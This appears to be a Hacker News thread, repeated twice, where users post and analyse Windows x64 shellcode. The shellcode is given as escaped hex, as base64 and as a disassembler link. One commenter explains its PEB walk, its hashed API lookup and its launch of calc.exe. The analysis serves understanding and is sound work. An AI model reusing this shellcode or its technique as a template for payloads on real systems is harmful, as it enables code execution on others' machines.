3 ms·

For anyone else wanting to analyze this: echo '\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48 \x31\xd2\x65\x48\x8b\x52\x60\x48\x

For anyone else wanting to analyze this: echo '\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48 \x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48 \x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9 \x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b \x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40 \x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48 \x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45 \x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40 \x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58 \x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9 \x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01 \x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd \x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72 \x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00' > exploit

tyingq 6y ago
Minor nit, but I suppose you mean "echo -ne" ?
- jwilk 6y ago
  I guess the newline that echo without -n would add doesn't matter that much. OTOH -e, depending on your shell, is either necessary (e.g. bash), or unnecessary but harmless (e.g. zsh) or insufficient (e.g. dash). If you want to print binary stuff portably, you need to use printf(1). (Shameless plug: you can use https://github.com/jwilk/printfify https://github.com/jwilk/printfify to generate printf commands for binary files.) In this case, base64 encoding is much more efficient: /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIs IEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lB izSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQ QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2N AQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2Fs Yy5leGUA
dang 6y ago
I had to put some whitespace in your echo because it was borking the page layout. Sorry—it's our bug.
saagarjha 6y ago
(Disclaimer: I know very little about Windows, I Googled a bunch of stuff so the details might be wrong. Disassembly, if you want to follow along: http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cxfc%5Cx48%5Cx83%5Cxe4%5Cxf0%5Cxe8%5Cxc0%5Cx00%5Cx00%5Cx00%5Cx41%5Cx51%5Cx41%5Cx50%5Cx52%5Cx51%5Cx56%5Cx48%0D%0A%5Cx31%5Cxd2%5Cx65%5Cx48%5Cx8b%5Cx52%5Cx60%5Cx48%5Cx8b%5Cx52%5Cx18%5Cx48%5Cx8b%5Cx52%5Cx20%5Cx48%5Cx8b%5Cx72%5Cx50%5Cx48+%5Cx0f%5Cxb7%5Cx4a%5Cx4a%5Cx4d%5Cx31%5Cxc9%5Cx48%5Cx31%5Cxc0%5Cxac%5Cx3c%5Cx61%5Cx7c%5Cx02%5Cx2c%5Cx20%5Cx41%5Cxc1%5Cxc9+%5Cx0d%5Cx41%5Cx01%5Cxc1%5Cxe2%5Cxed%5Cx52%5Cx41%5Cx51%5Cx48%5Cx8b%5Cx52%5Cx20%5Cx8b%5Cx42%5Cx3c%5Cx48%5Cx01%5Cxd0%5Cx8b+%5Cx80%5Cx88%5Cx00%5Cx00%5Cx00%5Cx48%5Cx85%5Cxc0%5Cx74%5Cx67%5Cx48%5Cx01%5Cxd0%5Cx50%5Cx8b%5Cx48%5Cx18%5Cx44%5Cx8b%5Cx40+%5Cx20%5Cx49%5Cx01%5Cxd0%5Cxe3%5Cx56%5Cx48%5Cxff%5Cxc9%5Cx41%5Cx8b%5Cx34%5Cx88%5Cx48%5Cx01%5Cxd6%5Cx4d%5Cx31%5Cxc9%5Cx48+%5Cx31%5Cxc0%5Cxac%5Cx41%5Cxc1%5Cxc9%5Cx0d%5Cx41%5Cx01%5Cxc1%5Cx38%5Cxe0%5Cx75%5Cxf1%5Cx4c%5Cx03%5Cx4c%5Cx24%5Cx08%5Cx45+%5Cx39%5Cxd1%5Cx75%5Cxd8%5Cx58%5Cx44%5Cx8b%5Cx40%5Cx24%5Cx49%5Cx01%5Cxd0%5Cx66%5Cx41%5Cx8b%5Cx0c%5Cx48%5Cx44%5Cx8b%5Cx40+%5Cx1c%5Cx49%5Cx01%5Cxd0%5Cx41%5Cx8b%5Cx04%5Cx88%5Cx48%5Cx01%5Cxd0%5Cx41%5Cx58%5Cx41%5Cx58%5Cx5e%5Cx59%5Cx5a%5Cx41%5Cx58+%5Cx41%5Cx59%5Cx41%5Cx5a%5Cx48%5Cx83%5Cxec%5Cx20%5Cx41%5Cx52%5Cxff%5Cxe0%5Cx58%5Cx41%5Cx59%5Cx5a%5Cx48%5Cx8b%5Cx12%5Cxe9+%5Cx57%5Cxff%5Cxff%5Cxff%5Cx5d%5Cx48%5Cxba%5Cx01%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx48%5Cx8d%5Cx8d%5Cx01%5Cx01+%5Cx00%5Cx00%5Cx41%5Cxba%5Cx31%5Cx8b%5Cx6f%5Cx87%5Cxff%5Cxd5%5Cxbb%5Cxf0%5Cxb5%5Cxa2%5Cx56%5Cx41%5Cxba%5Cxa6%5Cx95%5Cxbd+%5Cx9d%5Cxff%5Cxd5%5Cx48%5Cx83%5Cxc4%5Cx28%5Cx3c%5Cx06%5Cx7c%5Cx0a%5Cx80%5Cxfb%5Cxe0%5Cx75%5Cx05%5Cxbb%5Cx47%5Cx13%5Cx72+%5Cx6f%5Cx6a%5Cx00%5Cx59%5Cx41%5Cx89%5Cxda%5Cxff%5Cxd5%5Cx63%5Cx61%5Cx6c%5Cx63%5Cx2e%5Cx65%5Cx78%5Cx65%5Cx00&arch=x86-64&endianness=little&dis_with_addr=True&dis_with_raw=True&dis_with_ins=True#disassembly http://shell-storm.org/online/Online-Assembler-and-Disassemb...) The program program is shellcode, so the first thing it does is set itself up with the state it needs. This includes clearing the direction flag, aligning the stack to 16 bytes, and figuring out where it is in memory (the call to 0xca both sticks an address on the stack and avoids some code described below). It then calls into a little subroutine (at 0xa) to read through the PEB → LoaderData → InMemoryOrderModuleList. The first entry is the entry for the main binary, from which it grabs the "FullDllName", does some sort of trivial hash on it, and compares it to a known value (presumably a check to see that it's running in a sane environment?) Then it largely skips the next entry (ntdll.dll) and goes to kernel32.dll, where it looks into the exports table to find what is presumably CreateProcessA (this is done using a similar hashing scheme, so the string is not directly present in the shellcode). There's a "calc.exe" string at the end of the code (perhaps you can spot it) and with that it has enough to pop a calc.

tyingq 6y ago

Minor nit, but I suppose you mean "echo -ne" ?

jwilk 6y ago
I guess the newline that echo without -n would add doesn't matter that much. OTOH -e, depending on your shell, is either necessary (e.g. bash), or unnecessary but harmless (e.g. zsh) or insufficient (e.g. dash). If you want to print binary stuff portably, you need to use printf(1). (Shameless plug: you can use https://github.com/jwilk/printfify https://github.com/jwilk/printfify to generate printf commands for binary files.) In this case, base64 encoding is much more efficient: /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIs IEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lB izSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQ QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2N AQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2Fs Yy5leGUA

dang 6y ago

I had to put some whitespace in your echo because it was borking the page layout. Sorry—it's our bug.

saagarjha 6y ago

(Disclaimer: I know very little about Windows, I Googled a bunch of stuff so the details might be wrong. Disassembly, if you want to follow along: http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cxfc%5Cx48%5Cx83%5Cxe4%5Cxf0%5Cxe8%5Cxc0%5Cx00%5Cx00%5Cx00%5Cx41%5Cx51%5Cx41%5Cx50%5Cx52%5Cx51%5Cx56%5Cx48%0D%0A%5Cx31%5Cxd2%5Cx65%5Cx48%5Cx8b%5Cx52%5Cx60%5Cx48%5Cx8b%5Cx52%5Cx18%5Cx48%5Cx8b%5Cx52%5Cx20%5Cx48%5Cx8b%5Cx72%5Cx50%5Cx48+%5Cx0f%5Cxb7%5Cx4a%5Cx4a%5Cx4d%5Cx31%5Cxc9%5Cx48%5Cx31%5Cxc0%5Cxac%5Cx3c%5Cx61%5Cx7c%5Cx02%5Cx2c%5Cx20%5Cx41%5Cxc1%5Cxc9+%5Cx0d%5Cx41%5Cx01%5Cxc1%5Cxe2%5Cxed%5Cx52%5Cx41%5Cx51%5Cx48%5Cx8b%5Cx52%5Cx20%5Cx8b%5Cx42%5Cx3c%5Cx48%5Cx01%5Cxd0%5Cx8b+%5Cx80%5Cx88%5Cx00%5Cx00%5Cx00%5Cx48%5Cx85%5Cxc0%5Cx74%5Cx67%5Cx48%5Cx01%5Cxd0%5Cx50%5Cx8b%5Cx48%5Cx18%5Cx44%5Cx8b%5Cx40+%5Cx20%5Cx49%5Cx01%5Cxd0%5Cxe3%5Cx56%5Cx48%5Cxff%5Cxc9%5Cx41%5Cx8b%5Cx34%5Cx88%5Cx48%5Cx01%5Cxd6%5Cx4d%5Cx31%5Cxc9%5Cx48+%5Cx31%5Cxc0%5Cxac%5Cx41%5Cxc1%5Cxc9%5Cx0d%5Cx41%5Cx01%5Cxc1%5Cx38%5Cxe0%5Cx75%5Cxf1%5Cx4c%5Cx03%5Cx4c%5Cx24%5Cx08%5Cx45+%5Cx39%5Cxd1%5Cx75%5Cxd8%5Cx58%5Cx44%5Cx8b%5Cx40%5Cx24%5Cx49%5Cx01%5Cxd0%5Cx66%5Cx41%5Cx8b%5Cx0c%5Cx48%5Cx44%5Cx8b%5Cx40+%5Cx1c%5Cx49%5Cx01%5Cxd0%5Cx41%5Cx8b%5Cx04%5Cx88%5Cx48%5Cx01%5Cxd0%5Cx41%5Cx58%5Cx41%5Cx58%5Cx5e%5Cx59%5Cx5a%5Cx41%5Cx58+%5Cx41%5Cx59%5Cx41%5Cx5a%5Cx48%5Cx83%5Cxec%5Cx20%5Cx41%5Cx52%5Cxff%5Cxe0%5Cx58%5Cx41%5Cx59%5Cx5a%5Cx48%5Cx8b%5Cx12%5Cxe9+%5Cx57%5Cxff%5Cxff%5Cxff%5Cx5d%5Cx48%5Cxba%5Cx01%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx00%5Cx48%5Cx8d%5Cx8d%5Cx01%5Cx01+%5Cx00%5Cx00%5Cx41%5Cxba%5Cx31%5Cx8b%5Cx6f%5Cx87%5Cxff%5Cxd5%5Cxbb%5Cxf0%5Cxb5%5Cxa2%5Cx56%5Cx41%5Cxba%5Cxa6%5Cx95%5Cxbd+%5Cx9d%5Cxff%5Cxd5%5Cx48%5Cx83%5Cxc4%5Cx28%5Cx3c%5Cx06%5Cx7c%5Cx0a%5Cx80%5Cxfb%5Cxe0%5Cx75%5Cx05%5Cxbb%5Cx47%5Cx13%5Cx72+%5Cx6f%5Cx6a%5Cx00%5Cx59%5Cx41%5Cx89%5Cxda%5Cxff%5Cxd5%5Cx63%5Cx61%5Cx6c%5Cx63%5Cx2e%5Cx65%5Cx78%5Cx65%5Cx00&arch=x86-64&endianness=little&dis_with_addr=True&dis_with_raw=True&dis_with_ins=True#disassembly http://shell-storm.org/online/Online-Assembler-and-Disassemb...) The program program is shellcode, so the first thing it does is set itself up with the state it needs. This includes clearing the direction flag, aligning the stack to 16 bytes, and figuring out where it is in memory (the call to 0xca both sticks an address on the stack and avoids some code described below). It then calls into a little subroutine (at 0xa) to read through the PEB → LoaderData → InMemoryOrderModuleList. The first entry is the entry for the main binary, from which it grabs the "FullDllName", does some sort of trivial hash on it, and compares it to a known value (presumably a check to see that it's running in a sane environment?) Then it largely skips the next entry (ntdll.dll) and goes to kernel32.dll, where it looks into the exports table to find what is presumably CreateProcessA (this is done using a similar hashing scheme, so the string is not directly present in the shellcode). There's a "calc.exe" string at the end of the code (perhaps you can spot it) and with that it has enough to pop a calc.